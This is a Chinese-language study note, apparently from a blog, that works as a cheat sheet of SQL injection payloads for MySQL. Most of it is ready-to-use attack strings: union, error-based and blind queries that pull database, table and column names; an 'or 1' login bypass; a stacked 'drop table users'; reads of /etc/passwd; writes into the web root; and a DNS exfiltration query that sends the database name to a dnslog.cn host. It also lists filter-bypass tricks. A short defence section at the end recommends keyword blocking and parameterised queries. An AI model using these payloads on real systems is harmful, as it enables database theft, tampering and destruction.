sql注入笔记
字数 1416 2025-08-29 08:30:25
SQL注入攻击全面指南
1. SQL注入概述
SQL注入是一种将恶意SQL代码插入到应用的输入参数中,从而欺骗服务器执行恶意SQL命令的攻击技术。攻击者可以利用这种漏洞绕过安全措施,获取数据库中的敏感信息,甚至完全控制数据库服务器。
2. SQL注入分类
2.1 根据回显情况分类
有回显注入
- 联合查询注入(Union-based): 通过UNION操作符将恶意查询结果与正常查询结果合并显示
- 报错注入(Error-based): 利用数据库错误信息获取数据
无回显注入
- 布尔盲注(Boolean-based Blind): 通过页面返回的真假状态推断信息
- 延时盲注(Time-based Blind): 通过页面响应时间差异推断信息
3. 基础信息获取技术
-- 查看当前用户
select user();
-- 查看当前数据库
select database();
-- 查看数据库版本
select version();
4. 信息模式(Information_schema)利用
MySQL 5.0+提供了information_schema数据库,包含数据库元数据:
-- 获取所有数据库名
select schema_name from information_schema.schemata;
-- 获取当前数据库所有表名
select table_name from information_schema.tables where table_schema=database();
-- 获取指定表的所有列名
select column_name from information_schema.columns where table_name='表名' and table_schema='数据库名';
5. 报错注入技术
5.1 extractvalue函数
select extractvalue('<a></a>',concat('>',database()));
-- 获取表名
select extractvalue('>',concat('>',(select group_concat(table_name) from information_schema.tables where table_schema='geek')));
-- 获取列名
select extractvalue('>',concat('>',(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1')));
5.2 updatexml函数
select updatexml(1,concat('>',database()),1);
-- 获取表数据
select updatexml('~',concat('>',(select group_concat(table_name) from information_schema.tables where table_schema=database())));
5.3 主键报错技术
select * from users where id=1 and (
select 123 from (
select count(*),concat(
(select group_concat(table_name) from information_schema.tables where table_schema=database()),
'<',floor(rand(0)*2)
) as fff from users group by fff
)qwer
);
6. 盲注技术
6.1 布尔盲注
-- 判断数据库长度
select length(database())>=数字;
-- 判断具体字符
select substring(database(),1,1)='c';
select substr(database(),1,1)='c';
select mid(database(),1,1)='c';
select left(database(),2)='ch';
select right(database(),2)='se';
-- ASCII码判断
select ascii(substring(database(),1,1))>32;
6.2 延时盲注
-- 基本延时
select if(length(database())>1,sleep(5),123);
-- 其他延时方法
-- 1. benchmark函数
select benchmark(1000000000,database());
-- 2. 笛卡尔积
select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C;
-- 3. GET_LOCK函数
select get_lock('abc',10) from chao.passwd;
7. 特殊注入技术
7.1 万能密码
select * from passwd where 用户名='adw' and 密码='awda' or 1
7.2 HEAD头注入
常见注入点:
- Host
- Referer
- User-Agent
相关PHP全局变量:
$_SERVER['HTTP_USER_AGENT']
$_SERVER['HTTP_HOST']
$_SERVER['HTTP_REFERER']
$_SERVER['HTTP_X_FORWARDED_FOR']
$_SERVER['REMOTE_ADDR']
7.3 宽字节注入
适用于使用GBK编码的网站,利用GBK编码范围(%81到%FE)与转义字符结合形成汉字绕过过滤。
7.4 堆叠注入
使用分号分隔执行多条SQL语句:
select * from users; drop table users;
7.5 编码注入
利用base64等编码方式绕过字符限制:
-- base64编码后的SQL语句
dW5pb24gc2VsZWN0IDE=
7.6 二次注入
- 注册用户:
zhangsan'# - 修改密码时执行:
UPDATE users SET PASSWORD='123456' where username='zhangsan'#'and password='zhangsan'
8. 文件操作技术
8.1 读取文件
select load_file('/etc/passwd');
8.2 导出文件
-- 查看导出权限配置
show variables like "%secure_file_priv%";
-- 导出数据到文件
select 1,'123' into outfile "D:\\phpstudy_pro\\WWW\\1.txt";
-- 非联合查询导出
select * from users where id=1 into outfile "D:\\123456.txt" lines terminated by '123';
8.3 DNS外带注入
select LOAD_file(concat("//",database(),".2qnqb7.dnslog.cn/test"));
9. 绕过技术
9.1 符号替换
- 空格替换:%20、%09、%0a、%0b、%0c、%0d、%a0
- 注释符:
/**/ - 大小写混合:
seLeCt DaTabAse() - 等价替换:
- and=&&=%26%26
- or=||=%7c%7c
- order by 3=into @1,@2,@3
- union select=union all select
- if(a,b,c)=case when(a) then b else c end
9.2 函数替换
- hex()、bin()=ascii()
- group_concat()=concat_ws()
- substr()=substring()、mid()、left、right
- substr(database(),1,1)=substr(database() from 1 for 1)
9.3 内联注释
select * from passwd /*!where*/ 用户id=1
10. 防护与修复
-
输入过滤:
- 限制特殊字符:
net user xp_cmdshell exec master.dbo.xp_cmdshell等 - 黑名单关键字:
select and count Asc char mid insert delete from drop table update truncate等
- 限制特殊字符:
-
预处理/预编译:
- 使用参数化查询
- PHP中使用PDO或mysqli预处理
-
最小权限原则:
- 数据库账户仅授予必要权限
-
安全设备:
- 部署WAF(Web应用防火墙)
- 如雷池等专业防护设备
-
其他措施:
- 关闭错误回显
- 定期更新补丁
- 安全编码规范培训